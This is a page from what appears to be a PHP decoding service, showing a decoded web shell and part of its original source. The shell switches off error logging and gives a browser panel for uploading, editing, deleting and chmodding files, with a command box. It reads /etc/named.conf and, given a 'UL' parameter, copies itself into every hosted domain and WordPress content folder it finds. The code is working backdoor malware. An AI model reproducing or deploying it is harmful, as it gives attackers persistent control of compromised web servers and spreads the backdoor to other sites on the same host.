Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php session_start();error_reporting(0);set_time_limit(0);@ini_set('error_log',0);@ini_se..
Decoded Output download
<?php session_start();error_reporting(0);set_time_limit(0);@ini_set('error_log',0);@ini_set('log_errors',0);@ini_set('max_execution_time',0);@ini_set('output_buffering',0);@ini_set('display_errors',0);function ecyFindDomains(string $ecyBasePath):array{$ecyDomains=[];$ecyFolders=array_diff(scandir($ecyBasePath),['.','..']);foreach($ecyFolders as $ecyFolder){if($ecyFolder[0]!=='.'){$ecyFullPath=$ecyBasePath.DIRECTORY_SEPARATOR.$ecyFolder;if(is_dir($ecyFullPath)&&preg_match('/\.\w+$/',$ecyFolder)){$ecyDomains[]=$ecyFullPath;}}}return $ecyDomains;}function ecyFindAllDomains(string $ecyPath):array{$ecyAllDomains=[];while($ecyPath!==DIRECTORY_SEPARATOR){$ecyDomains=ecyFindDomains($ecyPath);if(!empty($ecyDomains)){$ecyAllDomains=array_merge($ecyAllDomains,$ecyDomains);}$ecyPath=dirname($ecyPath);}return $ecyAllDomains;}function ecyFindWpContentOrCache(string $ecyPath):string{$ecyPathsToCheck=['public_html/wp-content','www/wp-content','htdocs/wp-content','html/wp-content','web/wp-content','site/wp-content','public/wp-content','wwwroot/wp-content','httpdocs/wp-content','webroot/wp-content','public_html','www','htdocs','html','web','site','public','wwwroot','httpdocs','webroot'];foreach($ecyPathsToCheck as $ecyCheckPath){$ecyFullPath=$ecyPath.DIRECTORY_SEPARATOR.$ecyCheckPath;if(is_dir($ecyFullPath)){return $ecyFullPath;}}return is_dir($ecyPath.'/wp-content')?$ecyPath.'/wp-content':$ecyPath;}function ecyFindTargetDirectory(string $ecyDomainPath):string{$ecyOriginalPath=$ecyDomainPath;while($ecyDomainPath!==DIRECTORY_SEPARATOR){$ecyTargetPath=ecyFindWpContentOrCache($ecyDomainPath);if($ecyTargetPath!==$ecyDomainPath&&strpos($ecyTargetPath,$ecyOriginalPath)===0){return $ecyTargetPath;}$ecyDomainPath=dirname($ecyDomainPath);}return $ecyOriginalPath;}function ecyListAllItems(string $ecyPath):array{$ecyItems=array_diff(scandir($ecyPath),['.','..']);$ecyAllItems=[];foreach($ecyItems as $ecyItem){$ecyFullPath=$ecyPath.DIRECTORY_SEPARATOR.$ecyItem;$ecyAllItems[]=['name'=>$ecyItem,'path'=>$ecyFullPath,'type'=>is_dir($ecyFullPath)?'dir':'file'];}return $ecyAllItems;}if(isset($_GET['UL'])){$ecyCurrentPath=getcwd();$ecyAllDomains=ecyFindAllDomains($ecyCurrentPath);$ecyCopiedPaths=[];$ecyCurrentFile=__FILE__;$ecyPayloadCode=file_get_contents($ecyCurrentFile);if(!empty($ecyAllDomains)){foreach($ecyAllDomains as $ecyDomain){$ecyTargetPath=ecyFindTargetDirectory($ecyDomain);if($ecyTargetPath!==null){$ecyTempFileName='Ecy_'.bin2hex(random_bytes(4)).'.php';$ecyDestPath=$ecyTargetPath.DIRECTORY_SEPARATOR.$ecyTempFileName;if(file_put_contents($ecyDestPath,$ecyPayloadCode)){$ecyDomainName=parse_url($ecyDomain,PHP_URL_HOST)?:basename($ecyDomain);$ecyUrlPath=str_replace($ecyDomain.DIRECTORY_SEPARATOR,'',$ecyDestPath);if($ecyDomainName){$ecyCopiedPaths[]="http://{$ecyDomainName}/".$ecyUrlPath;}}}}echo "<pre>".(empty($ecyCopiedPaths)?'False':'True'."
".implode("
",$ecyCopiedPaths))."</pre>";}else{echo "<pre>False</pre>";}exit();}function f1($a,$b,$c,$d=false){if(!empty($_SESSION["a1"])){unset($_SESSION["a1"]);}if(!empty($_SESSION["a2"])){unset($_SESSION["a2"]);}if(!empty($_SESSION["a3"])){unset($_SESSION["a3"]);}$_SESSION["a1"]=$a;$_SESSION["a2"]=$b;$_SESSION["a3"]=$c;if($d){header('Location: '.$d);exit();}return true;}function f2(){if(!empty($_SESSION["a1"])){unset($_SESSION["a1"]);}if(!empty($_SESSION["a2"])){unset($_SESSION["a2"]);}if(!empty($_SESSION["a3"])){unset($_SESSION["a3"]);}return true;}function f3($e,$f){return(!is_writable($e))?"<span class=\"text-danger\">".$f."</span>":"<span class=\"text-success\">".$f."</span>";}function f4($g){$h=fileperms($g);if(($h&0xC000)==0xC000){$i='s';}elseif(($h&0xA000)==0xA000){$i='l';}elseif(($h&0x8000)==0x8000){$i='-';}elseif(($h&0x6000)==0x6000){$i='b';}elseif(($h&0x4000)==0x4000){$i='d';}elseif(($h&0x2000)==0x2000){$i='c';}elseif(($h&0x1000)==0x1000){$i='p';}else{$i='u';}$i.=(($h&0x0100)?'r':'-');$i.=(($h&0x0080)?'w':'-');$i.=(($h&0x0040)?(($h&0x0800)?'s':'x'):(($h&0x0800)?'S':'-'));$i.=(($h&0x0020)?'r':'-');$i.=(($h&0x0010)?'w':'-');$i.=(($h&0x0008)?(($h&0x0400)?'s':'x'):(($h&0x0400)?'S':'-'));$i.=(($h&0x0004)?'r':'-');$i.=(($h&0x0002)?'w':'-');$i.=(($h&0x0001)?(($h&0x0200)?'t':'x'):(($h&0x0200)?'T':'-'));return $i;}function f5($j){$k=["B","KB","MB","GB","TB","PB"];$l=0;$m=filesize($j);while($m>=1024){$m/=1024;$l++;}return round($m,2)." ".$k[$l];}if(isset($_GET['dir'])){$n=$_GET['dir'];chdir($_GET['dir']);}else{$n=getcwd();}$n=str_replace('\','/',$n);$o=explode('/',$n);function f6($p){if(function_exists("posix_getpwuid")){$q=@posix_getpwuid(fileowner($p));$q=$q['name'];}else{$q=fileowner($p);}if(function_exists("posix_getgrgid")){$r=@posix_getgrgid(filegroup($p));$r=$r['name'];}else{$r=filegroup($p);}return $q.'/'.$r;}if(isset($_POST['newFolderName'])){if(mkdir($n.'/'.$_POST['newFolderName'])){f1("Create Folder Successfully!","Success","success","?dir=$n");}else{f1("Create Folder Failed","Failed","error","?dir=$n");}}if(isset($_POST['newFileName'])&&isset($_POST['newFileContent'])){if(file_put_contents($_POST['newFileName'],$_POST['newFileContent'])){f1("Create File Successfully!","Success","success","?dir=$n");}else{f1("Create File Failed","Failed","error","?dir=$n");}}if(isset($_POST['newName'])&&isset($_GET['item'])){if($_POST['newName']==''){f1("You miss an important value","Ooopss..","warning","?dir=$n");}if(rename($n.'/'.$_GET['item'],$_POST['newName'])){f1("Rename Successfully!","Success","success","?dir=$n");}else{f1("Rename Failed","Failed","error","?dir=$n");}}if(isset($_POST['newContent'])&&isset($_GET['item'])){if(file_put_contents($n.'/'.$_GET['item'],$_POST['newContent'])){f1("Edit Successfully!","Success","success","?dir=$n");}else{f1("Edit Failed","Failed","error","?dir=$n");}}if(isset($_POST['newPerm'])&&isset($_GET['item'])){if($_POST['newPerm']==''){f1("You miss an important value","Ooopss..","warning","?dir=$n");}if(chmod($n.'/'.$_GET['item'],$_POST['newPerm'])){f1("Change Permission Successfully!","Success","success","?dir=$n");}else{f1("Change Permission","Failed","error","?dir=$n");}}if(isset($_GET['action'])&&$_GET['action']=='delete'&&isset($_GET['item'])){$item_path=$n.'/'.$_GET['item'];function deleteDirectory($dir){if(!is_dir($dir)){return false;}$items=array_diff(scandir($dir),array('.','..'));foreach($items as $item){$item_path=$dir.'/'.$item;if(is_dir($item_path)){deleteDirectory($item_path);}else{unlink($item_path);}}return rmdir($dir);}if(is_dir($item_path)){if(deleteDirectory($item_path)){f1("Delete Successfully!","Success","success","?dir=$n");}else{f1("Delete Failed","Failed","error","?dir=$n");}}else{if(unlink($item_path)){f1("Delete Successfully!","Success","success","?dir=$n");}else{f1("Delete Failed","Failed","error","?dir=$n");}}}if(isset($_FILES['uploadfile'])){$s=count($_FILES['uploadfile']['name']);for($t=0;$t<$s;$t++){$u=move_uploaded_file($_FILES['uploadfile']['tmp_name'][$t],$_FILES['uploadfile']['name'][$t]);$fileExtension=strtolower(pathinfo($_FILES['uploadfile']['name'][$t],PATHINFO_EXTENSION));$filePath=$_FILES['uploadfile']['name'][$t];$fileSize=$_FILES['uploadfile']['size'][$t];}if($s<2){if($u){f1("Upload File Successfully! ","Success","success","?dir=$n");}else{f1("Upload Failed","Failed","error","?dir=$n");}}else{if($u){f1("Upload $t Files Successfully! ","Success","success","?dir=$n");}else{f1("Upload Failed","Failed","error","?dir=$n");}}}function redirect($url){}if(isset($_POST['unzip'])&&isset($_GET['item'])){$n=__DIR__;$baseDir=realpath($n);if($baseDir===false){}$item=basename($_GET['item']);$zipPath=$baseDir.DIRECTORY_SEPARATOR.$item;if(!file_exists($zipPath)||!is_file($zipPath)){}$fileExtension=pathinfo($zipPath,PATHINFO_EXTENSION);if(strtolower($fileExtension)!=='zip'){}$zip=new ZipArchive;$res=$zip->open($zipPath);if($res===TRUE){$extractDirName=pathinfo($item,PATHINFO_FILENAME);$extractDir=$baseDir.DIRECTORY_SEPARATOR.$extractDirName;if(is_dir($extractDir)){function deleteDir($dirPath){if(!is_dir($dirPath)){return;}$objects=scandir($dirPath);foreach($objects as $object){if($object!="."&&$object!=".."){$currentPath=$dirPath.DIRECTORY_SEPARATOR.$object;if(is_dir($currentPath)){deleteDir($currentPath);}else{unlink($currentPath);}}}rmdir($dirPath);}deleteDir($extractDir);}if(!mkdir($extractDir,0755,true)){}if($zip->extractTo($extractDir)){$zip->close();}else{$zip->close();}}else{}}$x=scandir($n);$y=@file("/etc/named.conf",false);if(!$y){$z="Cant read /etc/named.conf";$GLOBALS["need_to_update_header"]="true";}else{$aa=0;foreach($y as $ab){if(@strstr($ab,"zone")){preg_match_all('#zone "(.*)"#',$ab,$ac);flush();if(strlen(trim($ac[1][0]))>2){flush();$aa++;}}}$z="$aa Domain";} ?><!doctypehtml><html dir="ltr"lang="en"><head><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title><?=htmlspecialchars($_SERVER['SERVER_NAME'])?>- Control Panel</title><link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css"rel="stylesheet"><link href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css"rel="stylesheet"><link href="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.min.css"rel="stylesheet"><style>*{box-sizing:border-box}body{background-color:#121212;color:#e0e0e0;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;margin:0;padding:0;overflow-x:hidden}.container-fluid{padding:20px}.box{background-color:rgba(30,30,30,.9);border:1px solid #444;border-radius:8px;box-shadow:0 4px 15px rgba(0,0,0,.5);padding:25px;margin-bottom:30px;transition:transform .3s,box-shadow .3s}.table-dark{background-color:rgba(30,30,30,.9)}.btn-outline-custom{border-color:#6c757d;color:#6c757d;background-color:transparent;transition:background-color .3s,color .3s,border-color .3s}.btn-outline-custom:hover{background-color:#6c757d;color:#fff;border-color:#6c757d}.btn-custom{background-color:#0d6efd;color:#fff;border:none;transition:background-color .3s,transform .2s}.btn-custom:hover{background-color:#0b5ed7;transform:translateY(-2px)}a{color:#0d6efd;text-decoration:none;transition:color .3s}a:hover{color:#5a9bf5}.breadcrumb{background-color:transparent;padding:0;margin-bottom:20px}.breadcrumb-item+.breadcrumb-item::before{content:"/";color:#6c757d}.fa{color:#0d6efd;margin-right:5px}.form-control{background-color:rgba(44,44,44,.9);border:1px solid #444;color:#e0e0e0;transition:background-color .3s,border-color .3s}.form-control::placeholder{color:#6c757d}.form-control:focus{background-color:rgba(44,44,44,.95);border-color:#0d6efd;box-shadow:0 0 0 .2rem rgba(13,110,253,.25);color:#e0e0e0}.btn-group .btn{margin-right:5px}::-webkit-scrollbar{width:12px}::-webkit-scrollbar-track{background:#1e1e1e}::-webkit-scrollbar-thumb{background-color:#6c757d;border-radius:6px;border:3px solid #1e1e1e}.table-responsive{max-height:60vh;overflow-y:auto}.footer{padding:15px 0;border-top:1px solid #444;margin-top:20px}.footer a{color:#0d6efd}.footer a:hover{color:#5a9bf5}[data-bs-toggle=tooltip]{cursor:pointer}</style></head><body><div class="container-fluid"><div class="py-3"id="main"><div class="box"><div class="mb-4 info"><p><i class="fa fa-server"></i><?=htmlspecialchars(php_uname())?></p><p><i class="fa fa-microchip"></i><?=htmlspecialchars($_SERVER['SERVER_SOFTWARE'])?></p><p><i class="fa fa-network-wired"></i><?=htmlspecialchars(!@$_SERVER['SERVER_ADDR']?gethostbyname($_SERVER['SERVER_NAME']):@$_SERVER['SERVER_ADDR'])?></p><p><i class="fa fa-fingerprint"></i><?=htmlspecialchars($z)?></p></div><nav aria-label="breadcrumb"><ol class="breadcrumb"><?php foreach($o as $ad=>$ae): ?><?php if($ae==''&&$ad==0): ?><li class="breadcrumb-item"><a class="text-light"href="?dir=/">/</a></li><?php endif; ?><?php if($ae=='')continue; ?><li class="breadcrumb-item"><a class="text-light"href="?dir=<?=urlencode(implode('/',array_slice($o,0,$ad+1)))?>"><?=htmlspecialchars($ae)?></a></li><?php endforeach; ?><li class="breadcrumb-item active"aria-current="page">[<?=f3($n,f4($n))?>]</li><li class="breadcrumb-item"><a class="text-light"href="?">[ HOME ]</a></li></ol></nav><div class="d-flex flex-wrap justify-content-between mb-4"><div class="me-2 flex-grow-1 p-2"><form action=""class="d-flex"method="post"><input class="me-2 form-control form-control-sm"name="command"required placeholder="Command"> <button class="btn btn-sm btn-custom"type="submit">Execute</button></form></div><div class="flex-grow-1 p-2 ms-2"><form action=""class="d-flex"method="post"enctype="multipart/form-data"><input class="me-2 form-control form-control-sm"name="uploadfile[]"required id="uploadfile"multiple type="file"> <button class="btn btn-sm btn-custom"type="submit">Upload</button></form></div></div><div id="tools"><?php if(isset($_POST['command'])): ?><div class="mb-4 justify-content-center row"><pre class="text-light bg-dark p-3 rounded w-100"><?=htmlspecialchars($_POST['command_output'])?></pre></div><?php endif; ?><?php if(isset($_GET['action'])&&$_GET['action']!='delete'):$action=$_GET['action'];$item=$_GET['item']?? ''; ?><div class="mb-4 justify-content-center row"><?php if($action=='rename'&&!empty($item)): ?><form action=""class="w-100"method="post"><div class="mb-3"><label class="form-label"for="newName">New Name</label> <input class="form-control"name="newName"required id="newName"value="<?=htmlspecialchars($item)?>"></div><div class="d-flex justify-content-end"><button class="btn btn-custom me-2"type="submit">Submit</button> <button class="btn btn-outline-custom"type="button"onclick="history.go(-1)">Back</button></div></form><?php elseif($action=='edit'&&!empty($item)): ?><form action=""class="w-100"method="post"><div class="mb-3"><label class="form-label"for="newContent"><?=htmlspecialchars($item)?></label> <textarea class="form-control"rows="10"id="newContent"name="newContent"><?=htmlspecialchars(file_get_contents($n.'/'.$item))?></textarea></div><div class="d-flex justify-content-end"><button class="btn btn-custom me-2"type="submit">Save</button> <button class="btn btn-outline-custom me-2"type="button"onclick="copyToClipboard()">Copy</button> <button class="btn btn-outline-custom"type="button"onclick="history.go(-1)">Back</button></div></form><?php elseif($action=='view'&&!empty($item)): ?><div class="w-100"><label class="form-label">File Name:<?=htmlspecialchars($item)?></label> <textarea class="mb-3 form-control"rows="10"disabled><?=htmlspecialchars(file_get_contents($n.'/'.$item))?></textarea> <button class="btn btn-outline-custom"type="button"onclick="history.go(-1)">Back</button></div><?php elseif($action=='chmod'&&!empty($item)): ?><form action=""class="w-100"method="post"><div class="mb-3"><label class="form-label"for="newPerm">Permissions:<?=htmlspecialchars($item)?></label> <input class="form-control"name="newPerm"required id="newPerm"value="<?=substr(sprintf('%o',fileperms($item)),-4)?>"></div><div class="d-flex justify-content-end"><button class="btn btn-custom me-2"type="submit">Submit</button> <button class="btn btn-outline-custom"type="button"onclick="history.go(-1)">Back</button></div></form><?php elseif($action=='unzip'&&!empty($item)): ?><form action=""class="w-100"method="post"><div class="mb-3"><label class="form-label">Unzip:<?=htmlspecialchars($item)?></label></div><div class="d-flex justify-content-end"><button class="btn btn-custom me-2"type="submit"name="unzip">Execute</button> <button class="btn btn-outline-custom"type="button"onclick="history.go(-1)">Back</button></div></form><?php endif; ?></div><?php endif; ?><div class="mb-4 justify-content-center row"><div class="mb-3 collapse"id="newFolderCollapse"data-bs-parent="#tools"><form action=""class="w-100"method="post"><div class="mb-3"><label class="form-label"for="newFolderName">Folder Name</label> <input class="form-control"name="newFolderName"required id="newFolderName"placeholder="e.g., NewFolder"></div><div class="d-flex justify-content-end"><button class="btn btn-custom me-2"type="submit">Create</button></div></form></div><div class="mb-3 collapse"id="newFileCollapse"data-bs-parent="#tools"><form action=""class="w-100"method="post"><div class="mb-3"><label class="form-label"for="newFileName">File Name</label> <input class="form-control"name="newFileName"required id="newFileName"placeholder="e.g., newfile.php"></div><div class="mb-3"><label class="form-label"for="newFileContent">File Content</label> <textarea class="form-control"rows="5"id="newFileContent"name="newFileContent"placeholder="Hello World"></textarea></div><div class="d-flex justify-content-end"><button class="btn btn-custom me-2"type="submit">Create</button></div></form></div></div></div><div class="table-responsive"><table class="align-middle table table-dark table-hover"><thead><tr><th style="width:35%">Name</th><th style="width:10%">Type</th><th style="width:10%">Size</th><th style="width:13%">Owner/Group</th><th style="width:10%">Permissions</th><th style="width:13%">Last Modified</th><th style="width:9%">Actions</th></tr></thead><tbody><?php foreach($x as $ah): ?><?php if(is_dir($ah)): ?><tr><td><?php if($ah==='..'): ?><a class="text-light"href="?dir=<?=urlencode(dirname($n))?>"><i class="fa fa-folder-open"></i><?=htmlspecialchars($ah)?></a><?php elseif($ah==='.'): ?><a class="text-light"href="?dir=<?=urlencode($n)?>"><i class="fa fa-folder-open"></i><?=htmlspecialchars($ah)?></a><?php else: ?><a class="text-light"href="?dir=<?=urlencode($n.'/'.$ah)?>"><i class="fa fa-folder"></i><?=htmlspecialchars($ah)?></a><?php endif; ?></td><td><?=htmlspecialchars(filetype($ah))?></td><td>-</td><td><?=htmlspecialchars(f6($ah))?></td><td><?php if(is_writable($n.'/'.$ah)){echo '<span class="text-success">'.htmlspecialchars(f4($n.'/'.$ah)).'</span>';}elseif(!is_readable($n.'/'.$ah)){echo '<span class="text-danger">'.htmlspecialchars(f4($n.'/'.$ah)).'</span>';}else{echo htmlspecialchars(f4($n.'/'.$ah));} ?></td><td><?=date("Y-m-d H:i:s",filemtime($ah))?></td><td><?php if($ah!='.'&&$ah!='..'): ?><div class="btn-group"aria-label="Actions"role="group"><a class="btn btn-outline-custom btn-sm"href="?dir=<?=urlencode($n)?>&item=<?=urlencode($ah)?>&action=rename"data-bs-toggle="tooltip"data-bs-original-title="Rename"data-bs-placement="top"title="Rename"><i class="fa fa-edit"></i></a> <a class="btn btn-outline-custom btn-sm"href="?dir=<?=urlencode($n)?>&item=<?=urlencode($ah)?>&action=chmod"data-bs-toggle="tooltip"data-bs-original-title="Change Permissions"data-bs-placement="top"title="Change Permissions"><i class="fa fa-key"></i></a> <a class="btn btn-outline-custom btn-sm"href="javascript:void(0);"data-bs-toggle="tooltip"data-bs-original-title="Delete"data-bs-placement="top"title="Delete"onclick='deleteConfirm("?dir=<?=urlencode($n)?>&item=<?=urlencode($ah)?>&action=delete")'><i class="fa fa-trash"></i></a></div><?php elseif($ah==='.'): ?><div class="btn-group"aria-label="New Items"role="group"><a class="btn btn-outline-custom btn-sm"href="#newFolderCollapse"data-bs-toggle="collapse"data-bs-toggle="tooltip"data-bs-original-title="New Folder"data-bs-placement="top"title="New Folder"aria-controls="newFolderCollapse"><i class="fa fa-folder-plus"></i></a> <a class="btn btn-outline-custom btn-sm"href="#newFileCollapse"data-bs-toggle="collapse"data-bs-toggle="tooltip"data-bs-original-title="New File"data-bs-placement="top"title="New File"aria-controls="newFileCollapse"><i class="fa fa-file-plus"></i></a></div><?php endif; ?></td></tr><?php endif; ?><?php endforeach; ?><?php foreach($x as $ah): ?><?php if(is_file($ah)): ?><tr><td><a class="text-light"href="?dir=<?=urlencode($n)?>&item=<?=urlencode($ah)?>&action=view"><i class="fa fa-file-code"></i><?=htmlspecialchars($ah)?></a></td><td><?=htmlspecialchars(function_exists('mime_content_type')?mime_content_type($ah):filetype($ah))?></td><td><?=htmlspecialchars(f5($ah))?></td><td><?=htmlspecialchars(f6($ah))?></td><td><?php if(is_writable($n.'/'.$ah)){echo '<span class="text-success">'.htmlspecialchars(f4($n.'/'.$ah)).'</span>';}elseif(!is_readable($n.'/'.$ah)){echo '<span class="text-danger">'.htmlspecialchars(f4($n.'/'.$ah)).'</span>';}else{echo htmlspecialchars(f4($n.'/'.$ah));} ?></td><td><?=date("Y-m-d H:i:s",filemtime($ah))?></td><td><?php if($ah!='.'&&$ah!='..'): ?><div class="btn-group"aria-label="Actions"role="group"><a class="btn btn-outline-custom btn-sm"href="?dir=<?=urlencode($n)?>&item=<?=urlencode($ah)?>&action=edit"data-bs-toggle="tooltip"data-bs-original-title="Edit"data-bs-placement="top"title="Edit"><i class="fa fa-file-edit"></i></a> <a class="btn btn-outline-custom btn-sm"href="?dir=<?=urlencode($n)?>&item=<?=urlencode($ah)?>&action=rename"data-bs-toggle="tooltip"data-bs-original-title="Rename"data-bs-placement="top"title="Rename"><i class="fa fa-edit"></i></a> <a class="btn btn-outline-custom btn-sm"href="?dir=<?=urlencode($n)?>&item=<?=urlencode($ah)?>&action=chmod"data-bs-toggle="tooltip"data-bs-original-title="Change Permissions"data-bs-placement="top"title="Change Permissions"><i class="fa fa-key"></i></a> <a class="btn btn-outline-custom btn-sm"href="?dir=<?=urlencode($n)?>&item=<?=urlencode($ah)?>&action=unzip"data-bs-toggle="tooltip"data-bs-original-title="Unzip"data-bs-placement="top"title="Unzip"><i class="fa fa-file-archive"></i></a> <a class="btn btn-outline-custom btn-sm"href="javascript:void(0);"data-bs-toggle="tooltip"data-bs-original-title="Delete"data-bs-placement="top"title="Delete"onclick='deleteConfirm("?dir=<?=urlencode($n)?>&item=<?=urlencode($ah)?>&action=delete")'><i class="fa fa-trash"></i></a></div><?php endif; ?></td></tr><?php endif; ?><?php endforeach; ?></tbody></table></div><div class="text-light footer text-center"> <a class="text-light text-decoration-none"href="https://t.me/Aoxen">Uname</a><script>document.write((new Date).getFullYear())</script></div></div></div></div><script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script><script src="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.all.min.js"></script><script>// Initialize Bootstrap Tooltips
const tooltipTriggerList = [].slice.call(document.querySelectorAll('[data-bs-toggle="tooltip"]'))
const tooltipList = tooltipTriggerList.map(function (tooltipTriggerEl) {
return new bootstrap.Tooltip(tooltipTriggerEl)
});
// Delete Confirmation
function deleteConfirm(url) {
Swal.fire({
title: 'Are you sure?',
text: "You won't be able to revert this!",
icon: 'warning',
showCancelButton: true,
confirmButtonColor: '#6c757d',
cancelButtonColor: '#dc3545',
confirmButtonText: 'Yes, delete it!'
}).then((result) => {
if (result.isConfirmed) {
window.location.href = url;
}
});
return false;
}
// Copy to Clipboard
function copyToClipboard() {
const textarea = document.getElementById("newContent");
textarea.select();
textarea.setSelectionRange(0, 99999); // For mobile devices
navigator.clipboard.writeText(textarea.value).then(() => {
Swal.fire(
'Copied!',
'The content has been copied to your clipboard.',
'success'
);
}, () => {
Swal.fire(
'Copy Failed',
'The content could not be copied.',
'error'
);
});
}
// Display SweetAlert2 Messages from PHP Session<?php if(isset($_SESSION['message'])): ?>Swal.fire({
title: '<?=htmlspecialchars($_SESSION['status'])?>',
text: '<?=htmlspecialchars($_SESSION['message'])?>',
icon: '<?=htmlspecialchars($_SESSION['class'])?>',
confirmButtonText: 'OK'
});<?php unset($_SESSION['message'],$_SESSION['status'],$_SESSION['class']); ?><?php endif; ?></script></body></html>
Did this file decode correctly?
Original Code
<?php session_start();error_reporting(0);set_time_limit(0);@ini_set('error_log',0);@ini_set('log_errors',0);@ini_set('max_execution_time',0);@ini_set('output_buffering',0);@ini_set('display_errors',0);function ecyFindDomains(string $ecyBasePath):array{$ecyDomains=[];$ecyFolders=array_diff(scandir($ecyBasePath),['.','..']);foreach($ecyFolders as $ecyFolder){if($ecyFolder[0]!=='.'){$ecyFullPath=$ecyBasePath.DIRECTORY_SEPARATOR.$ecyFolder;if(is_dir($ecyFullPath)&&preg_match('/\.\w+$/',$ecyFolder)){$ecyDomains[]=$ecyFullPath;}}}return $ecyDomains;}function ecyFindAllDomains(string $ecyPath):array{$ecyAllDomains=[];while($ecyPath!==DIRECTORY_SEPARATOR){$ecyDomains=ecyFindDomains($ecyPath);if(!empty($ecyDomains)){$ecyAllDomains=array_merge($ecyAllDomains,$ecyDomains);}$ecyPath=dirname($ecyPath);}return $ecyAllDomains;}function ecyFindWpContentOrCache(string $ecyPath):string{$ecyPathsToCheck=['public_html/wp-content','www/wp-content','htdocs/wp-content','html/wp-content','web/wp-content','site/wp-content','public/wp-content','wwwroot/wp-content','httpdocs/wp-content','webroot/wp-content','public_html','www','htdocs','html','web','site','public','wwwroot','httpdocs','webroot'];foreach($ecyPathsToCheck as $ecyCheckPath){$ecyFullPath=$ecyPath.DIRECTORY_SEPARATOR.$ecyCheckPath;if(is_dir($ecyFullPath)){return $ecyFullPath;}}return is_dir($ecyPath.'/wp-content')?$ecyPath.'/wp-content':$ecyPath;}function ecyFindTargetDirectory(string $ecyDomainPath):string{$ecyOriginalPath=$ecyDomainPath;while($ecyDomainPath!==DIRECTORY_SEPARATOR){$ecyTargetPath=ecyFindWpContentOrCache($ecyDomainPath);if($ecyTargetPath!==$ecyDomainPath&&strpos($ecyTargetPath,$ecyOriginalPath)===0){return $ecyTargetPath;}$ecyDomainPath=dirname($ecyDomainPath);}return $ecyOriginalPath;}function ecyListAllItems(string $ecyPath):array{$ecyItems=array_diff(scandir($ecyPath),['.','..']);$ecyAllItems=[];foreach($ecyItems as $ecyItem){$ecyFullPath=$ecyPath.DIRECTORY_SEPARATOR.$ecyItem;$ecyAllItems[]=['name'=>$ecyItem,'path'=>$ecyFullPath,'type'=>is_dir($ecyFullPath)?'dir':'file'];}return $ecyAllItems;}if(isset($_GET['UL'])){$ecyCurrentPath=getcwd();$ecyAllDomains=ecyFindAllDomains($ecyCurrentPath);$ecyCopiedPaths=[];$ecyCurrentFile=__FILE__;$ecyPayloadCode=file_get_contents($ecyCurrentFile);if(!empty($ecyAllDomains)){foreach($ecyAllDomains as $ecyDomain){$ecyTargetPath=ecyFindTargetDirectory($ecyDomain);if($ecyTargetPath!==null){$ecyTempFileName='Ecy_'.bin2hex(random_bytes(4)).'.php';$ecyDestPath=$ecyTargetPath.DIRECTORY_SEPARATOR.$ecyTempFileName;if(file_put_contents($ecyDestPath,$ecyPayloadCode)){$ecyDomainName=parse_url($ecyDomain,PHP_URL_HOST)?:basename($ecyDomain);$ecyUrlPath=str_replace($ecyDomain.DIRECTORY_SEPARATOR,'',$ecyDestPath);if($ecyDomainName){$ecyCopiedPaths[]="http://{$ecyDomainName}/".$ecyUrlPath;}}}}echo "<pre>".(empty($ecyCopiedPaths)?'False':'True'."\n".implode("\n",$ecyCopiedPaths))."</pre>";}else{echo "<pre>False</pre>";}exit();}function f1($a,$b,$c,$d=false){if(!empty($_SESSION["a1"])){unset($_SESSION["a1"]);}if(!empty($_SESSION["a2"])){unset($_SESSION["a2"]);}if(!empty($_SESSION["a3"])){unset($_SESSION["a3"]);}$_SESSION["a1"]=$a;$_SESSION["a2"]=$b;$_SESSION["a3"]=$c;if($d){header('Location: '.$d);exit();}return true;}function f2(){if(!empty($_SESSION["a1"])){unset($_SESSION["a1"]);}if(!empty($_SESSION["a2"])){unset($_SESSION["a2"]);}if(!empty($_SESSION["a3"])){unset($_SESSION["a3"]);}return true;}function f3($e,$f){return(!is_writable($e))?"<span class=\"text-danger\">".$f."</span>":"<span class=\"text-success\">".$f."</span>";}function f4($g){$h=fileperms($g);if(($h&0xC000)==0xC000){$i='s';}elseif(($h&0xA000)==0xA000){$i='l';}elseif(($h&0x8000)==0x8000){$i='-';}elseif(($h&0x6000)==0x6000){$i='b';}elseif(($h&0x4000)==0x4000){$i='d';}elseif(($h&0x2000)==0x2000){$i='c';}elseif(($h&0x1000)==0x1000){$i='p';}else{$i='u';}$i.=(($h&0x0100)?'r':'-');$i.=(($h&0x0080)?'w':'-');$i.=(($h&0x0040)?(($h&0x0800)?'s':'x'):(($h&0x0800)?'S':'-'));$i.=(($h&0x0020)?'r':'-');$i.=(($h&0x0010)?'w':'-');$i.=(($h&0x0008)?(($h&0x0400)?'s':'x'):(($h&0x0400)?'S':'-'));$i.=(($h&0x0004)?'r':'-');$i.=(($h&0x0002)?'w':'-');$i.=(($h&0x0001)?(($h&0x0200)?'t':'x'):(($h&0x0200)?'T':'-'));return $i;}function f5($j){$k=["B","KB","MB","GB","TB","PB"];$l=0;$m=filesize($j);while($m>=1024){$m/=1024;$l++;}return round($m,2)." ".$k[$l];}if(isset($_GET['dir'])){$n=$_GET['dir'];chdir($_GET['dir']);}else{$n=getcwd();}$n=str_replace('\\','/',$n);$o=explode('/',$n);function f6($p){if(function_exists("posix_getpwuid")){$q=@posix_getpwuid(fileowner($p));$q=$q['name'];}else{$q=fileowner($p);}if(function_exists("posix_getgrgid")){$r=@posix_getgrgid(filegroup($p));$r=$r['name'];}else{$r=filegroup($p);}return $q.'/'.$r;}if(isset($_POST['newFolderName'])){if(mkdir($n.'/'.$_POST['newFolderName'])){f1("Create Folder Successfully!","Success","success","?dir=$n");}else{f1("Create Folder Failed","Failed","error","?dir=$n");}}if(isset($_POST['newFileName'])&&isset($_POST['newFileContent'])){if(file_put_contents($_POST['newFileName'],$_POST['newFileContent'])){f1("Create File Successfully!","Success","success","?dir=$n");}else{f1("Create File Failed","Failed","error","?dir=$n");}}if(isset($_POST['newName'])&&isset($_GET['item'])){if($_POST['newName']==''){f1("You miss an important value","Ooopss..","warning","?dir=$n");}if(rename($n.'/'.$_GET['item'],$_POST['newName'])){f1("Rename Successfully!","Success","success","?dir=$n");}else{f1("Rename 